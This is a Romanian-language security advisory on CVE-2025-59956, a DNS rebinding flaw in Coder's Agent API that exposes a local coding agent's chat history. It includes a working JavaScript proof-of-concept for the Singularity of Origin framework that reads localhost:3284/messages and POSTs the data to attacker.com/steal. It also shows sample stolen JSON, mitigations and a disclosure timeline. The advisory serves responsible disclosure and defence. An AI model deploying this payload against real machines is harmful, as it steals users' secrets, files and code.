Autor: Evan Harris
Componentă afectată: Agent API de la Coder
CVE: CVE-2025-59956
Scor CVSS 3.1: 6.5 (Mediu) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Prezentare generală

Agent API de la Coder este un HTTP API cu sursă deschisă pentru Claude Code, Goose, Aider, Gemini, Amp și Codex.

MCPSec a găsit o vulnerabilitate DNS rebinding în Agent API care permite atacatorilor de la distanță să exfiltreze istoricul de mesaje Claude Code al unui utilizator.

Coder a remediat această problemă în lansarea v0.4.0. Utilizatorii Agent API ar trebui să actualizeze la această versiune sau la una ulterioară.

Impact

Atacatorii obțin acces GET complet la endpoint-ul /messages servit de Agent API.

Acest lucru permite exfiltrarea neautorizată a datelor sensibile ale utilizatorului, mai exact istoricul local de mesaje care poate include chei secrete, conținutul sistemului de fișiere și proprietate intelectuală la care utilizatorul lucrează local.

DNS rebinding se poate produce în câteva secunde odată conectat la un server web malițios.

Dovadă a conceptului

Presupunem următoarele:

  • Mașina victimei rulează Agent API.
  • Victima navighează pe un site web malițios.
  • Site-ul web execută un atac DNS rebinding pentru a manipula browserul web al victimei să interacționeze cu Agent API vulnerabil în numele atacatorului.

După finalizarea DNS rebinding, un atacator poate consuma endpoint-ul /messages servit local. Întregul istoric de chat al unei victime cu Agent API poate fi exfiltrat către serverul unui atacator.

MCPSec a efectuat un atac de tip dovadă a conceptului prin următoarele:

  1. Implementarea unei aplicații de DNS rebinding (de exemplu, Singularity of Origin).

  2. Construirea unui payload servit de un site web malițios pentru a obține și exfiltra date.

Acest cod JavaScript, servit de pe site-ul malițios, preia istoricul de mesaje și îl trimite atacatorului.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Endpoint-ul /messages este servit pe mașina locală a victimei și răspunde cu istoricul lor de chat atunci când este interogat.

  1. Atacatorul trebuie să ruleze un server de colectare a datelor care va primi o cerere POST. Conținutul cererii POST ar trebui să fie răspunsul de la endpoint-ul /messages al Agent API al victimei.

Pe mașina victimei, Agent API a fost solicitat să inspecteze sistemul de fișiere local. Iată ce a fost trimis către serverul de colectare a datelor al atacatorului:

Următorul este un exemplu de date JSON furate de la o victimă care întrebase agentul despre sistemul său de fișiere local.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Măsuri de atenuare recomandate

Pentru utilizatori (imediat)

  • Actualizați imediat la Agent API versiunea v0.4.0 sau ulterioară. Această versiune conține remedierea pentru vulnerabilitate.

Pentru dezvoltatori (pe termen lung)

  • Implementați o validare robustă a antetului Host pentru toate API-urile HTTP servite local pentru a preveni DNS rebinding.
  • Implementați protecție CSRF pentru a preveni alte forme de atacuri cross-origin.
  • Adăugați avertismente de securitate în documentație pentru instrumentele care expun servicii de rețea locale.

Această vulnerabilitate a fost raportată echipei Coder prin practici de divulgare responsabilă. Coder a răspuns rapid pentru a remedia problema.

Cronologia divulgării

  • 2025-07-25: Raport inițial al vulnerabilității trimis către Coder.
  • 2025-07-25: Coder confirmă primirea raportului.
  • 2025-07-29: Coder indică faptul că au reușit să reproducă și să valideze scenariul de atac.
  • 2025-08-13: Vulnerabilitatea a fost remediată.
  • 2025-08-21: Coder a decis să acorde o recompensă de securitate pentru raport.
  • 2025-09-09: A fost convenită de comun acord data publicării buletinului.
  • 2025-09-19: Buletinul de securitate a fost lansat.

Concluzie

Vulnerabilitatea DNS rebinding din Agent API de la Coder demonstrează o provocare critică de securitate pentru ecosistemul în creștere al instrumentelor locale de dezvoltare alimentate de AI. Deși aceste instrumente oferă capacități puternice, ele trebuie construite cu o mentalitate axată pe securitate pentru a proteja împotriva amenințărilor bazate pe web.

Felicitări echipei Coder pentru răspunsul lor prompt și profesional în remedierea acestei vulnerabilități. Toți utilizatorii Agent API ar trebui să actualizeze la cea mai recentă versiune pentru a se asigura că sunt protejați.

Referințe